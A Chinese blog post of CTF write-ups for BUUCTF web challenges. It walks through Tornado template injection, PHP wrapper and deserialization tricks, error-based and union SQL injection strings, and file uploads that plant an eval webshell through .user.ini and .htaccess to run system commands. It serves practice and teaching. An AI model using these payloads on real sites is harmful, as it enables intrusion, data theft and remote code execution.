当前位置:   article > 正文

buu刷题(2)

buu刷题(2)

[护网杯 2018]easy_tornado

web buuctf [护网杯 2018]easy_tornado1_[护网杯 2018]easy_tornado 1-CSDN博客

render是渲染HTML页面用到的函数
这应该是一个模板注入漏洞

访问/fllllllllllllag,自动跳到了这个页面,可以看到 url 上有个msg=Error,
尝试将  Error 更换成其他的值,可以发现有回显

 所以就可以通过msg的值进行传参,得到想要的内容
从提升来看,我们需要获得cookie_secret的值

web buuctf [护网杯 2018]easy_tornado1_[护网杯 2018]easy_tornado 1-CSDN博客

(大佬博客有解析)
传参  {{handler.settings}}  可以获得cookie_secret的值

根据提示需要将 它的值 加上filename(/fllllllllllllag)的MD5值 在进行MD5加密 ,得到flag

[ZJCTF 2019]NiZhuanSiWei

分析代码,需要GET传参  text&file&password  三个参数,file 传参的值不能有flag,password传参的值会反序列化,file_get_contents 得到文件里的内容,并且还要与 welcome to the zjctf 
相等,应该是找不到这样的文件的
,所以使用 data 伪协议绕过,
?text=data://text/plain,welcome to the zjctf&file=useless.php ,但是依旧没有反应,
可能  include(useless.php) ,直接执行了,没有把源码显示出来,所以依旧使用伪协议绕过
?text=data://text/plain,welcome to the zjctf&file=php://filter/convert.base64-encode/resource=useless.php

  然后将其base64解码

本地运行一下,将得到的值传入password

?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}          (这个时候file传参的值就不要用伪协议绕过了,因为需要他去执行代码)

[极客大挑战 2019]HardSQL

先测试一下 1 ,1'  ,1"  ,可以发现应该为单引号型的
再爆一下字段数  order by  ,可以发现是被过滤了,尝试双写绕不过

再试试联合注入,union  被过滤了,  空格也被过滤了
尝试一下报错注入
1'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database()))),1))#         可以成功 ,继续

1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))),1))# 

1'or(updatexml(1,concat(0x7e,(select(group_concat(id,0x7e,username,0x7e,password))from(H4rDsq1))),1))# 

因为长度的限制,使用right函数来获取另一半
1'or(updatexml(1,concat(0x7e,(select(group_concat(right(password,30)))from(H4rDsq1))),1))# 

将得到两份flag拼凑一下就行

[MRCTF2020]Ez_bypass

MD5强比较:传数组
password弱比较,直接传参password=1234567a,  即可得到flag

[网鼎杯 2020 青龙组]AreUSerialz

分析代码,对GET传参的 str 值反序列化,我们需要 read()这个函数 ,去读取flag.php,得到flag,所以将op的值改为2,file的值为flag.php,但是__destruct()会将op的值改为2,需要将它绕过,
一个是强比较,一个是弱比较,通过这个绕过,赋值 op=2 (整数型),绕过__destruct()

本地运行一下,运行的结果赋值给   str  ,可以得到flag

[SUCTF 2019]CheckIn

文件上传的题,直接上传一个图片码,抓包修改数据

内容有问题,应该是过滤了什么,用二分法将它排查出来,可知是过滤了?
用   <script language='php'>@eval($_POST[1])</script>  绕过,可以上传

但是 .png 后缀无法解析代码,需要在上传  .user.ini  ,将  .png 能够当作php文件解析

然后在上传 1.png 文件 ,

直接进行命令执行 (也可以连接蚁剑)

        POST传参        1=system("tac /flag");

[GXYCTF2019]BabySQli

测试后可知 是单引号型的注入
但是过滤了好多东西,双写,报错注入啥的都没有用,抓包之后可以看到有一个编码

先base64再base32
(工具:CyberChef

试了很多一直是      报错:wrong user!

试了 admin    ,终于不一样了,报错是:wrong pass!

可能  name应该是必须要有admin
在测试列数,这样3列的时候会显示 wrong pass

应该是对密码做了什么操作,有点懵
https://www.cnblogs.com/Cl0ud/p/12604647.html

BUUCTF [GXYCTF2019]BabySQli实战_babysqliv2.0-CSDN博客

看了wp 后,是对密码进行了MD5加密,需要匹配用户名为  admin  的密码的MD5

(为什么可以知道进行了MD5加密,可以在password框里输入一些会报错的语句,但是如果没有报错,就能确定是进行了加密的,密码一般是MD5加密)
但我们又不可能知道密码,需要将它绕过,使用 联合查询 union select
联合查询并不存在的数据时,联合查询就会构造一个虚拟的数据
不知道3个字段里哪个为密码的字段,可以多尝试几遍

name=111' union select 1,'admin','e10adc3949ba59abbe56e057f20f883e';#&pw=123456

但是name后面不能是admin了,要不然就会密码不正确
name=admin' union select 1,'admin','e10adc3949ba59abbe56e057f20f883e';#&pw=123456

[GXYCTF2019]BabyUpload

随便上传一个php文件,不允许上传,抓包更改数据

可以成功,但是浏览器无法解析  .png 里的代码,无法执行命令

尝试传了一下 .user.ini 没有用,好像upload下没有index.php,  .user.ini 发挥不了作用

尝试传 .htaccess
内容为:
GIF89a(好像没有也可以,一般习惯放上去)
AddType application/x-httpd-php .png
然后再上传  1.png 
<script language='php'>@eval($_POST[1])</script>
 命令执行一下发现可以成功

蚁剑连一下,或者命令执行  ,

[MRCTF2020]你传你
声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/知新_RL/article/detail/358775

推荐阅读
相关标签